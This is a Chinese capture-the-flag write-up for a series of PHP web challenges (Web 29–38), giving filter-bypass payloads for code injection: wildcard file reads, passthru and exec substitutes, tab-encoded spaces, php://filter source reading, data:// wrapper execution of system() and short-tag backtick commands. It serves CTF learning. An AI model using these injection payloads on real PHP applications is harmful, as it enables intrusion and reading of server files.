Web 29

题目过滤了flag,所以利用通配符来执行命令。
Payload:?c=system('tac f*');

Web 30
查看源代码

System函数不能用,可以用passthru、exec,shell_exec等函数,exec不能输出结果。
特别说一下用exec时构造?c=exec(‘cp f* 1.txt’);(将flag.php中的内容复制给1.txt)
访问1.txt,拿到flag。

Web 31

过滤条件: flag\system\php\cat\sort\shell\小数点\空格\单引号
cat用tac,nl代替
空格用%09代替
Payload:?c=passthru("tac%09f*");

Web 32
查看源代码。

上边的都用不了,所以用文件包含include(),include可以无括号包含,分号;可以用?>代替,与前面形成闭合,这样就可以做到参数逃逸
构造
payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

用base64解密,拿到flag。

Web 33-35
Payload和web 32一样。
Web 36

和之前相比数字也被过滤了,把改为a即可。
Payload:?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Base64解密,得到flag。

Web 37
查看源代码

看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤
data伪协议命令执行:data:text/plain,<php代码; ?>
构造?c=data:text/plain,<?php system($_POST[1]);?>
同时POST:1=tac flag.php

得到flag。
Web38
查看代码。

比上一题多了一个php和file过滤,应该是想过滤php://filter
绕过php:data伪协议后的代码是<?php code; ?>,这里php用短标签代替
<?php echols;?> 使用短标签方式表示:<?=`ls`?>
payload:?c=data:text/plain,<?=`cat f*`?>










